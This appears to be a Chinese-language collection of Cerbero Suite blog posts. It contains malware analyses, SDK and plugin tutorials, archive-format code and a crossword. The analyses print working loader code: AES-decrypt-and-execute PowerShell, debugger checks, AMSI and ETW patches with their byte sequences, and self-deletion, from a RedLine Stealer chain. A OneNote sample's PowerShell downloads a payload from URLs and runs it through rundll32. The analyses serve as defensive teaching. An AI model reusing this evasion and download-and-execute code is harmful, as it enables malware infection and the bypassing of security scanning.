PowerShell 美化器不仅能去混淆代码,还能为所有变量分配有意义的名称。

现在,代码变得易于理解:
$read_all_text_result = [System.IO.File]::ReadAllText('%˜f0').Split([Environment]::NewLine);
foreach ($item in $read_all_text_result)
{
if ($item.StartsWith(':: '))
{
$substring_result = $item.Substring(3);
break;
};
};
$from_base64_string_result = [System.Convert]::FromBase64String($substring_result);
$aes_managed = New-Object System.Security.Cryptography.AesManaged;
$aes_managed.Mode = [System.Security.Cryptography.CipherMode]::CBC;
$aes_managed.Padding = [System.Security.Cryptography.PaddingMode]::PKCS7;
$aes_managed.Key = [System.Convert]::FromBase64String('rYCDvAfAeZYTmiLeZKnw0z4us9jgkCckB7mS60qxxg4=');
$aes_managed.IV = [System.Convert]::FromBase64String('JYh62EWEKCuIH7WrUJ0VdA==');
$create_decryptor_result = $aes_managed.CreateDecryptor();
$transform_final_block_result = $create_decryptor_result.TransformFinalBlock($from_base64_string_result, 0, $from_base64_string_result.Length);
$create_decryptor_result.Dispose();
$aes_managed.Dispose();
$memory_stream = New-Object System.IO.MemoryStream(, $transform_final_block_result);
$memory_stream_2 = New-Object System.IO.MemoryStream;
$gzip_stream = New-Object System.IO.Compression.GZipStream($memory_stream, [IO.Compression.CompressionMode]::Decompress);
$gzip_stream.CopyTo($memory_stream_2);
$gzip_stream.Dispose();
$memory_stream.Dispose();
$memory_stream_2.Dispose();
$to_array_result = $memory_stream_2.ToArray();
$load_result = [System.Reflection.Assembly]::Load($to_array_result);
$entry_point = $load_result.EntryPoint;
$entry_point.Invoke($null, (, [string[]]'%*'))这段 PowerShell 代码的作用是:在批处理脚本的输出中搜索以 :: 开头的行,然后将该行内容从 Base64 解码,使用 AES CBC 模式进行解密,再用 GZip 解压缩解密后的数据,最后将解压出的数据作为 .NET 程序集加载执行。
因此,我们选择以 :: 开头的那行 Base64 字符串(去掉 :: 前缀)。

我们将该 Base64 字符串转换为字节。

我们获取 AES 解密所需的密钥(Key)和初始化向量(IV),将它们从 Base64 解码,然后转换为十六进制格式(在十六进制视图中使用“复制十六进制”功能)。

我们使用“decrypt/aes”过滤器,设置密钥长度为32字节,来解密数据。

然后,我们选择所有解密后的数据,右键打开上下文菜单,点击“将选中部分设为根文件”(Make selection a root file),将一个新的根文件添加到当前项目中。在格式对话框中,我们选择 GZip 格式(GZ)。

解压缩后的文件是一个可执行文件,其中包含另一个名为“payload.exe”的文件。Cerbero Suite 会自动从 .NET 程序集的清单资源中提取该文件。然而,它未被识别为可执行文件,因此我们推测它很可能经过了加密。

我们可以探索该 .NET 程序集的 MSIL 代码,但将其反编译为 C# 代码会更易于阅读。

因此,我们将解压后的可执行文件保存到磁盘,并用 ILSpy 打开它。

我们逐步分析代码,同时去除混淆的字符串并重命名变量。
首先,代码设置了当前进程可执行文件的“系统”(System)和“隐藏”(Hidden)属性:
string fileName = Process.GetCurrentProcess().MainModule.FileName; File.SetAttributes(fileName, FileAttributes.Hidden | FileAttributes.System);
然后,代码从 Kernel32.dll 中获取两个函数的地址:
IntPtr hKernel32Module = LoadLibrary("kernel32.dll");
IntPtr procAddress = GetProcAddress(
hKernel32Module,
Encoding.UTF8.GetString(decrypt(Convert.FromBase64String("YQgFvvCfeXEC8HheSQY8WDxO7rae/P5TDpc2pfcZrJY="),
Convert.FromBase64String("tM63l4QFPdXzYK8ykmIcAxhApY2gw5d5pTKI8zAd+as="),
Convert.FromBase64String("rGS8SVxgHjYvALAnkoQ+/g=="))));
IntPtr procAddress2 = GetProcAddress(
hKernel32Module,
Encoding.UTF8.GetString(decrypt(Convert.FromBase64String("uD0v0KJTSmiUKuZwt4dI86fKfKAnuIufPRaFWJOP5Es="),
Convert.FromBase64String("tM63l4QFPdXzYK8ykmIcAxhApY2gw5d5pTKI8zAd+as="),
Convert.FromBase64String("rGS8SVxgHjYvALAnkoQ+/g=="))));其使用的解密函数如下:
private static byte[] decrypt(byte[] input, byte[] key, byte[] iv)
{
AesManaged aesManaged = new AesManaged();
aesManaged.Mode = CipherMode.CBC;
aesManaged.Padding = PaddingMode.PKCS7;
ICryptoTransform cryptoTransform = aesManaged.CreateDecryptor(key, iv);
byte[] result = cryptoTransform.TransformFinalBlock(input, 0, input.Length);
cryptoTransform.Dispose();
aesManaged.Dispose();
return result;
}我们可以使用之前的方法来解密这些字符串,但为了更高效,我们编写了一个小型脚本作为动作执行(快捷键 Ctrl+Alt+R):
from Pro.Core import *
from Pro.UI import *
import base64, binascii
v = proContext().getCurrentView()
if v.isValid() and v.hasSelection():
s = v.getSelectedText()
i_start = s.find('"') + 1
i_end = s.find('"', i_start)
inp = base64.b64decode(s[i_start:i_end])
k_start = s.find('"', i_end + 1) + 1
k_end = s.find('"', k_start)
key = base64.b64decode(s[k_start:k_end])
iv_start = s.find('"', k_end + 1) + 1
iv_end = s.find('"', iv_start)
iv = base64.b64decode(s[iv_start:iv_end])
flts = "<flts><fname='decrypt/aes' mode='cbc' chain='%s' block_length='16' key_length='32' key='%s'/></flts>" % \
(binascii.hexlify(iv).decode("ascii"), binascii.hexlify(key).decode("ascii"))
c = NTContainer()
c.setData(inp)
c = applyFilters(c, flts)
print(c.read(0, c.size()).decode("utf-8"))
c = None如果我们选中 decrypt 函数中的文本内容并运行此脚本,它将打印出解密后的字符串。
一旦这两个字符串被解密,代码就变得清晰了:
IntPtr addressCheckRemoteDebuggerPresent = GetProcAddress(hKernel32Module, "CheckRemoteDebuggerPresent"); IntPtr addressIsDebuggerPresent = GetProcAddress(hKernel32Module, "IsDebuggerPresent");
接着,代码为这两个 API 创建了委托(Delegate):
DelegateCheckRemoteDebuggerPresent delegateCheckRemoteDebuggerPresent = (DelegateCheckRemoteDebuggerPresent)Marshal.GetDelegateForFunctionPointer( addressCheckRemoteDebuggerPresent, typeof(DelegateCheckRemoteDebuggerPresent)); DelegateIsDebuggerPresent delegateIsDebuggerPresent = (DelegateIsDebuggerPresent)Marshal.GetDelegateForFunctionPointer( addressIsDebuggerPresent, typeof(DelegateIsDebuggerPresent));
然后,代码以多种方式检查调试器是否存在。如果检测到,则退出程序。
bool isDebuggerPresent = false;
delegateCheckRemoteDebuggerPresent(Process.GetCurrentProcess().Handle, ref isDebuggerPresent);
if (Debugger.IsAttached || isDebuggerPresent || delegateIsDebuggerPresent())
{
Environment.Exit(1);
}代码获取 VirtualProtect 函数的地址并创建其委托:
IntPtr addressVirtualProtect = GetProcAddress(hKernel32Module, "VirtualProtect"); DelegateVirtualProtect delegateVirtualProtect = (DelegateVirtualProtect)Marshal.GetDelegateForFunctionPointer( addressVirtualProtect, typeof(DelegateVirtualProtect));
代码获取 amsi.dll 中 AmsiScanBuffer 函数的地址。AmsiScanBuffer API 用于扫描恶意软件。
IntPtr hAmsiModule = LoadLibrary("amsi.dll");
IntPtr addressAmsiScanBuffer = GetProcAddress(hAmsiModule, "AmsiScanBuffer");根据平台是 32 位还是 64 位(基于指针大小),代码创建不同类型的字节数组:
byte[] array = (IntPtr.Size != 8) ?
new byte[8] { 184, 87, 0, 7, 128, 194, 24, 0 } :
new byte[6] { 184, 87, 0, 7, 128, 195 };该数组用于修补 AmsiScanBuffer API 的开头部分:
// 设置内存访问权限为 PAGE_EXECUTE_READWRITE delegateVirtualProtect(addressAmsiScanBuffer, (UIntPtr)(ulong)array.Length, 64u, out uint lpflOldProtect); // 进行修补 Marshal.Copy(array, 0, addressAmsiScanBuffer, array.Length); // 恢复原始内存访问权限 delegateVirtualProtect(addressAmsiScanBuffer, (UIntPtr)(ulong)array.Length, lpflOldProtect, out lpflOldProtect);
如果我们想知道这些被修补的字节的含义,可以简单地将它们复制到一个文本视图中,转换为字节,然后应用两个过滤器:“convert/fromarray”(使用默认参数)和“disasm/x86”。

用于修补 AmsiScanBuffer 的 x86 指令是:
mov eax, 0x80070057 ret 0x18
AmsiScanBuffer 返回一个 HRESULT 值,而 0x80070057 代表 E_INVALIDARG。因此,恶意软件通过修补 API 使其返回错误,从而绕过 AMSI(反恶意软件扫描接口)。
接着,代码使用相同的方法修补 ntdll.dll 中的 EtwEventWrite 函数:
IntPtr hNTDllModule = LoadLibrary("ntdll.dll");
IntPtr addressEtwEventWrite = GetProcAddress(hNTDllModule, "EtwEventWrite");
array = ((IntPtr.Size != 8) ? new byte[3] { 194, 20, 0 } : new byte[1] { 195 });
delegateVirtualProtect(addressEtwEventWrite, (UIntPtr)(ulong)array.Length, 64u, out lpflOldProtect);
Marshal.Copy(array, 0, addressEtwEventWrite, array.Length);
delegateVirtualProtect(addressEtwEventWrite, (UIntPtr)(ulong)array.Length, lpflOldProtect, out lpflOldProtect);这次只是用一个简单的 ret 指令进行修补:
ret 0x14
最后,代码遍历 .NET 程序集的所有清单资源,如果资源名称既不是“payload.exe”也不是“runpe.dll”,就将其转储到磁盘并执行。
string payload_name = "payload.exe";
string runpedll_name = "runpe.dll";
Assembly executingAssembly = Assembly.GetExecutingAssembly();
string[] manifestResourceNames = executingAssembly.GetManifestResourceNames();
foreach (string name in manifestResourceNames)
{
if (!(name == payload_name) && !(name == runpedll_name))
{
File.WriteAllBytes(name, getManifestResourceData(name));
File.SetAttributes(name, FileAttributes.Hidden | FileAttributes.System);
new Thread((ThreadStart)delegate
{
Process.Start(name).WaitForExit();
File.SetAttributes(name, FileAttributes.Normal);
File.Delete(name);
}).Start();
}
}在我们的样本中,唯一的清单资源就是“payload.exe”。因此,这段代码不会执行任何操作。

代码随后解密并解压缩“payload.exe”,然后使用传递给 Main 函数的参数来运行它。
byte[] rawAssembly = decompressGZip(
decrypt(getManifestResourceData(payload_name),
Convert.FromBase64String("tM63l4QFPdXzYK8ykmIcAxhApY2gw5d5pTKI8zAd+as="),
Convert.FromBase64String("rGS8SVxgHjYvALAnkoQ+/g==")));
string[] array2 = new string[0];
try
{
array2 = args[0].Split(' ');
}
catch
{
}
MethodInfo entryPoint = Assembly.Load(rawAssembly).EntryPoint;
try
{
entryPoint.Invoke(null, new object[1] { array2 });
}
catch
{
entryPoint.Invoke(null, null);
}我们使用之前的方法对“payload.exe”进行解密。

然后,再次创建一个新的根文件,并选择 GZip 格式。

至此,我们已到达该恶意软件的最终阶段。
加载器的最后一步是使用“cmd.exe”来执行“payload.exe”。
string cmd = "/c choice /c y /n /d y /t 1 & attrib -h -s \""; ProcessStartInfo processStartInfo = new ProcessStartInfo(); processStartInfo.Arguments = cmd + fileName + "\" & del \"" + fileName + "\""; processStartInfo.WindowStyle = ProcessWindowStyle.Hidden; processStartInfo.CreateNoWindow = true; processStartInfo.FileName = "cmd.exe"; Process.Start(processStartInfo);
最终阶段的这个样本已被扫描引擎识别为“RedLine Stealer”(红线窃取程序)。

为了彻底分析,我们还从第二个批处理脚本中提取了有效载荷(payload)。结果显示,最终阶段的有效载荷似乎是相同的。

有趣的是,该样本当时尚未被提交到 VirusTotal。此次扫描时,检测出该恶意软件的引擎比之前少了10个,尽管其类名和代码完全相同。

九、URL 提取器软件包
我们已为所有 Cerbero Suite Advanced 许可证用户发布了 URL Extractor 软件包。该软件包可在扫描文件时检测并输出其中的 URL。

输出视图中显示了在文件扫描过程中提取到的 URL。
安装此软件包后,如果在扫描过程中检测到 URL,系统将自动在输出视图中生成报告。
该插件甚至能够从压缩文件和加密文件(例如 PDF 文档)中检测 URL,并能自动处理嵌套的文件。
默认情况下,该软件包仅在单文件扫描模式下启用。若要在批量扫描中启用 URL Extractor,可通过“拦截”(Hooks)页面进行设置。
您可以在“扩展拦截”(Extensions Hooks)页面中为批量扫描启用该插件。

十、逐步分析OneNote 恶意软件
我们偶然看到 @Cryptolaemus1 发的一条推文,提到一个包含嵌入式 ISO 文件的恶意 OneNote 文档。由于我们最近发布了 ISO 格式支持包,我们便决定使用 Cerbero Suite 来分析这个恶意软件样本。
文章地址:506K9s2c8@1M7s2y4Q4x3@1q4Q4x3V1k6Q4x3V1k6@1N6$3W2@1N6r3g2J5i4K6u0W2j5$3!0E0i4K6u0r3b7%4u0&6M7s2c8G2L8r3q4W2L8i4g2K6x3g2)9J5c8Y4y4@1j5i4c8#2M7#2)9J5c8U0p5$3y4o6R3$3x3K6t1I4y4U0f1%4y4o6t1I4x3K6M7K6y4o6b7`.
样本 SHA256: 2B0B2A15F00C6EED533C70E89001248A0F2BA6FAE5102E1443D7451A59023516
OneNote 格式包会自动提取文档中的所有嵌入文件。

OneNote 文档中那个未识别的嵌入对象是一个 ISO 文件。我们将其作为嵌入对象加载,并指定其格式为 ISO(使用快捷键 Ctrl+E)。

该 ISO 文件只包含一个 CHM 文件。

这个 CHM 文件又包含两个 HTML 文件。

其中一个 HTML 文件包含对 PowerShell 的调用。

我们使用“转换:Base64 转字节”操作(快捷键 Ctrl+R)对 Base64 编码的字符串进行解码。

我们再使用“转换:字节转文本”操作将 UTF-16 编码的数据解码为文本。

现在,我们能看到原始的 PowerShell 代码:
Start-Sleep-Seconds2;$sensillum= ("d58K9s2c8@1M7s2y4Q4x3@1q4Q4x3V1k6Q4x3V1k6Z5L8%4c8W2L8r3I4G2M7$3#2A6M7Y4c8G2M7#2)9J5k6h3y4G2L8g2)9J5c8Y4y4B7L8W2)9J5c8W2c8F1x3q4p5K6L8X3W2W2c8g2)9J5b7$3S2@1N6s2m8K6i4K6y4m8i4K6u0r3i4K6u0r3k6%4y4K6j5$3!0J5M7r3!0J5j5i4c8A6L8$3&6D9N6r3c8Q4x3X3g2U0L8$3#2Q4x3V1k6G2K9#2y4X3K9W2)9J5c8V1g2D9L8X3k6b7i4K6u0o6K9s2c8@1M7s2y4Q4x3@1q4Q4x3V1k6Q4x3V1k6U0K9i4c8&6N6r3g2U0K9q4)9J5k6s2y4G2L8s2g2@1K9h3!0F1M7#2)9J5k6h3y4G2L8g2)9J5c8U0k6y4K9o6q4C8i4K6u0r3g2Y4W2d9f1f1W2#2k6h3g2D9y4K6c8Q4x3V1y4Z5N6s2c8H3M7#2)9K6b7g2)9J5c8W2)9J5c8X3y4S2M7X3I4S2k6s2k6G2k6$3q4V1j5i4c8J5K9h3u0#2N6r3q4J5K9h3q4Q4x3X3g2U0L8$3#2Q4x3V1k6@1N6X3&6I4z5g2)9J5c8V1R3%4z5r3^5&6f1f1!0x3i4K6u0o6K9s2c8@1M7s2y4Q4x3@1q4Q4x3V1k6Q4x3V1k6E0M7X3y4J5K9i4A6I4N6h3&6S2i4K6u0W2j5$3!0E0i4K6u0r3e0o6N6U0j5@1&6Q4x3V1k6J5j5g2q4X3x3r3#2*7k6K6m8Y4M7g2)9J5b7$3S2@1N6s2m8K6i4K6y4m8i4K6u0r3i4K6u0r3P5X3q4A6L8X3y4G2i4K6u0W2L8X3g2@1i4K6u0r3e0$3c8a6g2g2)9J5c8U0g2F1P5U0N6o6j5K6M7K6z5h3k6X3j5#2)9J5b7$3S2@1N6s2m8K6i4K6y4m8i4K6u0r3i4K6u0r3k6i4u0Y4i4K6u0V1k6h3N6Q4x3X3g2U0L8$3#2Q4x3V1k6G2j5$3#2T1i4K6u0r3b7$3A6h3j5e0g2f1g2W2)9J5b7$3S2@1N6s2m8K6i4K6y4m8i4K6u0r3i4K6u0r3L8X3q4&6j5h3c8G2k6X3!0#2L8X3c8S2N6r3W2G2L8W2)9J5k6h3!0J5k6#2)9J5c8Y4N6j5j5f1E0E0i4K6u0r3P5o6N6s2h3e0k6G2M7W2u0d9i4K6t1$3M7i4g2G2N6q4)9K6b7W2)9J5z5g2)9J5k6i4y4H3L8r3W2@1i4K6t1^5i4K6t1$3M7i4g2G2N6q4)9K6b7W2)9J5b7#2)9J5y4Y4q4#2L8%4c8Q4x3@1u0Q4x3U0W2Q4x3@1u0X3L8%4u0W2j5h3y4Z5i4K6t1^5i4K6t1@1k6X3!0J5L8h3!0K6k6g2)9J5y4X3&6T1M7%4m8Q4x3@1u0A6L8W2)9J5y4s2y4W2L8Y4y4A6L8r3I4#2L8g2)9J5z5g2)9%4b7Y4c8J5P5g2)9J5y4X3&6T1M7%4m8Q4x3@1u0Q4y4@1u0%4k6$3g2@1i4K6t1@1k6X3!0J5L8h3!0K6k6g2)9J5k6q4c8A6L8h3g2G2N6i4c8e0k6h3x3I4y4W2)9J5k6p5!0Q4x3U0c8W2L8Y4k6Q4x3@1q4f1c8f1#2b7i4K6g2o6L8$3y4@1k6h3&6F1K9h3q4D9b7$3S2S2L8X3y4W2L8r3!0J5i4K6u0W2K9r3g2^5j5i4c8W2N6s2u0S2K9r3g2V1M7X3!0F1b7h3u0J5j5h3y4Z5K9h3q4K6i4K6y4n7K9h3k6Q4x3U0S2Q4x3U0S2s2k6i4c8Q4x3X3c8u0N6r3g2E0i4K6t1$3L8X3u0K6M7q4)9K6b7W2)9J5y4r3g2F1N6W2)9K6b7g2c8q4e0g2m8Q4y4f1y4G2j5%4c8W2L8X3&6A6j5h3I4o6K9r3q4F1j5$3g2D9L8%4u0Q4x3X3g2Z5k6i4S2S2N6r3g2@1M7X3q4Z5k6h3c8J5L8$3&6m8j5Y4u0S2j5$3S2A6j5i4y4Q4x3U0W2Q4x3X3g2D9k6h3&6Y4N6r3S2Q4x3X3c8Y4k6e0p5H3x3o6l9H3x3q4)9J5z5g2)9%4b7Y4m8G2N6$3g2J5M7$3S2W2L8r3I4Q4x3X3c8i4K9h3&6V1L8%4N6e0N6s2W2D9k6g2)9J5y4X3&6T1M7%4m8Q4x3@1u0t1K9h3c8V1k6h3&6Q4x3X3c8q4P5r3g2U0N6i4c8A6L8$3&6b7L8$3I4A6j5%4W2n7P5i4m8S2M7%4y4z5L8@1I4G2k6$3!0Q4x3X3c8z5L8#2m8J5L8$3k6A6L8r3g2Q4x3X3c8W2L8X3y4G2k6r3g2V1j5$3!0E0L8h3q4F1k6q4)9J5y4Y4q4#2L8%4c8Q4x3@1u0U0N6@1t1H3b7f1N6q4b7h3y4Y4b7U0m8m8b7@1q4m8i4K6u0W2i4K6u0W2i4K6u0W2i4K6g2n7k6i4c8U0i4K6u0W2i4K6g2p5i4K6t1$3M7i4g2G2N6q4)9K6b7W2)9K6b7X3u0J5k6h3q4C8i4K6y4n7i4K6N6p5i4K6N6p5j5$3q4@1j5$3S2Q4y4@1u0e0N6r3q4J5N6q4)9J5k6q4y4D9k6h3g2H3i4K6u0V1f1$3g2U0L8$3&6V1M7K6u0Q4x3@1u0Q4y4@1c8Q4y4@1b7`.我们使用 PowerShell 美化包(PowerShell Beautifier package)来美化这段代码,使其更易读。

美化后的代码如下,其逻辑清晰可见:它尝试从多个 URL 下载文件,然后运行另一个 PowerShell 实例。
Start-Sleep-Seconds 2; $sensillum = "8e6K9s2c8@1M7s2y4Q4x3@1q4Q4x3V1k6Q4x3V1k6Z5L8%4c8W2L8r3I4G2M7$3#2A6M7Y4c8G2M7#2)9J5k6h3y4G2L8g2)9J5c8Y4y4B7L8W2)9J5c8W2c8F1x3q4p5K6L8X3W2W2c8g2)9J5b7$3S2@1N6s2m8K6i4K6y4m8i4K6u0r3i4K6u0r3k6%4y4K6j5$3!0J5M7r3!0J5j5i4c8A6L8$3&6D9N6r3c8Q4x3X3g2U0L8$3#2Q4x3V1k6G2K9#2y4X3K9W2)9J5c8V1g2D9L8X3k6b7i4K6u0o6K9s2c8@1M7s2y4Q4x3@1q4Q4x3V1k6Q4x3V1k6U0K9i4c8&6N6r3g2U0K9q4)9J5k6s2y4G2L8s2g2@1K9h3!0F1M7#2)9J5k6h3y4G2L8g2)9J5c8U0k6y4K9o6q4C8i4K6u0r3g2Y4W2d9f1f1W2#2k6h3g2D9y4K6c8Q4x3V1y4Z5N6s2c8H3M7#2)9K6b7g2)9J5c8W2)9J5c8X3y4S2M7X3I4S2k6s2k6G2k6$3q4V1j5i4c8J5K9h3u0#2N6r3q4J5K9h3q4Q4x3X3g2U0L8$3#2Q4x3V1k6@1N6X3&6I4z5g2)9J5c8V1R3%4z5r3^5&6f1f1!0x3i4K6u0o6K9s2c8@1M7s2y4Q4x3@1q4Q4x3V1k6Q4x3V1k6E0M7X3y4J5K9i4A6I4N6h3&6S2i4K6u0W2j5$3!0E0i4K6u0r3e0o6N6U0j5@1&6Q4x3V1k6J5j5g2q4X3x3r3#2*7k6K6m8Y4M7g2)9J5b7$3S2@1N6s2m8K6i4K6y4m8i4K6u0r3i4K6u0r3P5X3q4A6L8X3y4G2i4K6u0W2L8X3g2@1i4K6u0r3e0$3c8a6g2g2)9J5c8U0g2F1P5U0N6o6j5K6M7K6z5h3k6X3j5#2)9J5b7$3S2@1N6s2m8K6i4K6y4m8i4K6u0r3i4K6u0r3k6i4u0Y4i4K6u0V1k6h3N6Q4x3X3g2U0L8$3#2Q4x3V1k6G2j5$3#2T1i4K6u0r3b7$3A6h3j5e0g2f1g2W2)9J5b7$3S2@1N6s2m8K6i4K6y4m8i4K6u0r3i4K6u0r3L8X3q4&6j5h3c8G2k6X3!0#2L8X3c8S2N6r3W2G2L8W2)9J5k6h3!0J5k6#2)9J5c8Y4N6j5j5f1E0E0i4K6u0r3P5o6N6s2h3e0k6G2M7W2u0d9i4K6t1$3M7i4g2G2N6q4)9K6b7W2)9J5k6i4y4H3L8r3W2@1i4K6t1^5i4K6t1$3M7i4g2G2N6q4)9K6b7W2)9J5b7#2)9J5y4Y4q4#2L8%4c8Q4x3@1u0Q4x3U0W2Q4x3@1t1`. foreach($formose in $sensillum) { try { Invoke-WebRequest $formose -TimeoutSec 16 -OutFile $env:TEMP\octennialChancelor.hexatetrahedronAbrachias; if((Get-Item $env:TEMP\octennialChancelor.hexatetrahedronAbrachias).length -ge 100000) { powershell -WindowStyle hidden -ExecutionPolicy Bypass -NoLogo -NoProfile -encodedcommand "cwB0AGEAcgB0ACAAcgB1AG4AZABsAGwAMwAyACAAJABlAG4AdgA6AFQARQBNAFAAXABvAGMAdABlAG4AbgBpAGEAbABDAGgAYQBuAGMAZQBsAG8AcgAuAGgAZQB4AGEAdABlAHQAcgBhAGgAZQBkAHIAbwBuAEEAYgByAGEAYwBoAGkAYQBzACwATQBvAHQAZAA7AA=="; break; } } catch { Start-Sleep-Seconds 2; } }如果我们将上述代码中再次出现的 Base64 编码命令(-encodedcommand 后面的部分)进行解码,会得到如下单行代码:
start rundll32 $env:TEMP\octennialChancelor.hexatetrahedronAbrachias,Motd;
最终,该恶意软件利用 rundll32 命令来加载并执行下载的载荷。
十一、编写插件
在过去几个月中,我们的 SDK 文档编写工作达到了一个重要里程碑:现已提供完整的指南,详细介绍如何为 Cerbero Suite 和 Cerbero Engine 创建插件和扩展。
SDK 文档在线地址:775K9s2c8@1M7s2y4Q4x3@1q4Q4x3V1k6Q4x3V1k6K6k6r3E0Q4x3X3g2U0k6i4u0T1k6i4u0G2i4K6u0W2K9h3!0Q4x3V1k6D9j5i4c8W2M7%4c8Q4x3V1k6b7L8s2g2Y4K9h3&6K6i4K6u0W2K9s2c8E0L8l9`.`.

本文节选自该指南,介绍如何创建“拦截”(hooks),这是一种在 Cerbero Suite 和 Cerbero Engine 中均可用的扩展类型。
拦截允许您自定义扫描流程,并执行各种操作。
拦截在 config 目录下的 hooks.cfg 文件中定义。
一个最简单的拦截项示例:
[Test Hook] file = test_hooks.py scanned = scanned
对应的代码:
def scanned(sp, ud): print(sp.getObjectFormat())
scanned 函数会在每次文件扫描后被调用,并打印出对象的格式。该函数不在主线程中调用,因此无法调用用户界面(UI)函数。
拦截默认是禁用的,您可以在 Cerbero Suite 的“Hooks”页面中启用它们。
若想在配置项中默认启用某个拦截项,可添加如下配置:
[Test Hook] file = test_hooks.py scanned = scanned enable = yes
enable 的另一个可选值是 always,表示该拦截将始终处于启用状态。
也可以为拦截指定扫描模式:
; 不指定模式等同于: mode = single|batch mode = batch
拦截还可以限制为特定的文件格式:
formats = PE|SWF
以下是一个拦截扩展的示例:它会在 Java Class 文件的反汇编代码中搜索特定字符串,并仅将包含该字符串的文件包含在报告中。
配置条目:
[Search Java Class] file = test_hooks.py scanned = searchJavaClass mode = batch formats = Class enable = yes
代码:
from Pro.Core import NTTextBuffer
def searchJavaClass(sp, ud):
cl = sp.getObject()
out = NTTextBuffer()
cl.Disassemble(out)
# 搜索字符串
ret = out.buffer.find("HelloWorld") != -1
sp.include(ret)尽管以上几行代码已经实现了特定功能,但每次搜索不同字符串都需要修改代码,这并不理想。拦截可以额外实现两个可选的回调函数:init 和 end。这两个回调函数均在主 UI 线程中调用(因此可以安全地调用 UI 函数)。init 在任何扫描操作开始前调用,而 end 在所有扫描操作完成后调用。
这两个回调函数的语法如下:
def init():
print("init")
return print # 返回值将作为其他回调函数的 'ud' 参数
def end(ud):
ud("end")init 函数可以有选择地返回用户数据,该数据将传递给其他回调函数。end 函数通常用于执行清理操作。然而,在上面的示例中,我们并不需要清理任何内容,而是需要一个输入框来询问用户要搜索的字符串。因此,我们只需要 init 函数:
[Search Java Class] file = test_hooks.py init = initSearchJavaClass scanned = searchJavaClass mode = batch formats = Class enable = yes
将新逻辑添加到代码中:
from Pro.Core import NTTextBuffer
from Pro.UI import ProInput
def initSearchJavaClass():
return ProInput.askText("请输入要搜索的字符串:")
def searchJavaClass(sp, ud):
if ud == None:
return
cl = sp.getObject()
out = NTTextBuffer()
cl.Disassemble(out)
# 搜索字符串
ret = out.buffer.find(ud) != -1
sp.include(ret)拦截还可以用于自定义现有扫描提供程序的扫描结果。
例如,可以在扫描 PE 文件时添加一个自定义条目,并提供视图在工作区中显示该条目。
配置条目:
[ExtScanDataTest_1] label = 外部扫描数据测试 file = ext_data_test.py scanning = scanning scandata = scandata enable = yes
位于 plugins/python 目录下的 ext_data_test.py 文件中的代码:
from Pro.Core import *
def scanning(sp, ud):
e = ScanEntryData()
e.category = SEC_Info
e.type = CT_VersionInfo
e.otarget = "这是一个测试"
sp.addHookEntry("ExtScanDataTest_1", e)
def scandata(sp, xml, dnode, sdata):
sdata.setViews(SCANVIEW_TEXT)
sdata.data.setData("Hello, world!")
return True扫描文件时,报告中会显示一个额外的条目。点击该条目,即可显示扩展提供的数据。
十二、压缩文件格式
在过去几个月中,我们为 Cerbero Suite 添加了对多种额外压缩文件格式的支持,包括 7-Zip、XZ、CRX、ISO 和 TAR。这些功能包适用于所有 Cerbero Suite 的许可证。
这是一个加密7-Zip 压缩文件的内容:

恶意软件常常使用不常见的压缩文件格式来隐藏其有效载荷,但有时也可能是同事或客户发送了 7-Zip 或 TAR 格式的文件。因此,支持尽可能多的归档格式非常重要。
目前,我们已支持对 7-Zip压缩文件的解密,且现有的密钥提供程序扩展无需任何修改即可支持这些新格式。例如,“常用密码”(Common Passwords)软件包现在能够自动解密使用如“infected”等常见密码加密的 7-Zip 文件。
所有新支持的归档格式均已通过 SDK 开放,可方便地进行编程处理。以下是两个代码示例。
第一个示例展示了如何枚举并提取 TAR 压缩文件中的文件:
from Pro.Core import *
from Pkg.TAR import *
def parseTARArchive(fname):
c = createContainerFromFile(fname)
if c.isNull():
return
obj = TARObject()
if not obj.Load(c) or not obj.ParseArchive():
return
curoffs = None
while True:
entry, curoffs = obj.NextEntry(curoffs)
if entry == None:
break
print("文件名:", entry.name, "文件偏移:", str(entry.offset_data), "文件大小:", str(entry.size))
# 以 NTContainer 形式获取文件数据
fc = obj.GetEntryData(entry)第二个代码示例演示了如何枚举 ISO 归档文件中的所有文件和目录:
from Pro.Core import *
from Pkg.ISO import *
def parseISO(fname):
c = createContainerFromFile(fname)
if c.isNull():
return
obj = ISOObject()
if not obj.Load(c) or not obj.Initialize():
return
for dir_name, dir_entries, file_entries in obj.Walk("/"):
print(dir_name)
if dir_entries:
print(" 目录:")
for entry in dir_entries:
print(" ", str(entry))
if file_entries:
print(" 文件:")
for entry in file_entries:
print(" ", str(entry))在接下来的几个月里,我们将继续增加对使用频率较低的压缩文件格式的支持。
十三、填字游戏
为了庆祝夏季,我们准备了一个填字游戏,让您轻松一下!

横向
- 通用即插即用 (Universal Plug and Play)
- 对等网络 (P2P network) 中的机器
- 可被复制的卡
- 接入点 (Access Point)
- 文本编辑器中用于标记当前位置的符号
- 美国国防部的简称
- 一种 IT 威胁
- Zip 是一种
- 技术人员的简称
- 一种可由 ECC 内存纠正的错误位 (bit-)
- 卷影复制服务 (Volume Shadow Copy Service)
- 系统组件 (System Component)
- TCP 头部中的一种数字类型
- 片上系统 (System on a chip)
- 高保证互联网协议加密器 (High Assurance Internet Protocol Encryptor)
- C# 源代码文件的扩展名
- 甚至佳能 (Canon) 相机中也存在
- 类 (class) 的开始
- Tcl/ (编程语言)
- github. (网站后缀)
- 分布式版本控制系统 Mercurial 的二进制文件
- 一种使逆向工程更困难的代码类型
- TCP 在服务器和客户端之间提供的一种连接
- 一条可加载地址的 x86 指令
- MUL 指令跳过的一个操作
- 可用于加密的逻辑运算
- 加密的简称
- 比警告更严重的问题
- 在线游戏中的一个问题
- 测试版之后的版本
- 在 Windows 系统中,它跟在 CR 之后
- Xerox 去掉辅音后的读音
- LIFO 中的 “I”
- 扩展梅克尔签名方案 (Extended Merkle Signature Scheme)
- 安全的 LDAP (Secure LDAP)
- 系统未运行的状态
纵向
- 常用于逆向工程硬件设备的接口
- PPPoE 去掉 “Protocol” 后的缩写
- 一种流行的脚本语言
- 一种总线类型
- 实体认证令牌 (Entity Attestation Token)
- Solver 的最终结果 (finals)
- 有时用来替代 “float” 和 “double” 的类型
- 一串字符
- x86 架构中的有符号除法指令
- x86 架构中的一条移动指令,可带有 B、W 或 D 后缀
- 用于安全传输文件的命令
- 一种已被弃用的加密算法
- 八位字节 (octet) 中的前几位
- Instagram 的联合创始人 (Systrom)
- XCHG 指令执行的操作
- PowerShell 拥有的一个组件
- 一种用于电话窃听的设备,称为 -catcher
- 只有 128 个码点的字符编码标准
- Python “if” 语句末尾的符号
- 密钥确认 (Key-Confirmation)
- 在算法和拦截 (hook) 中
- 一家著名的打印机制造商
- 德国在网址 (URL) 中的代码
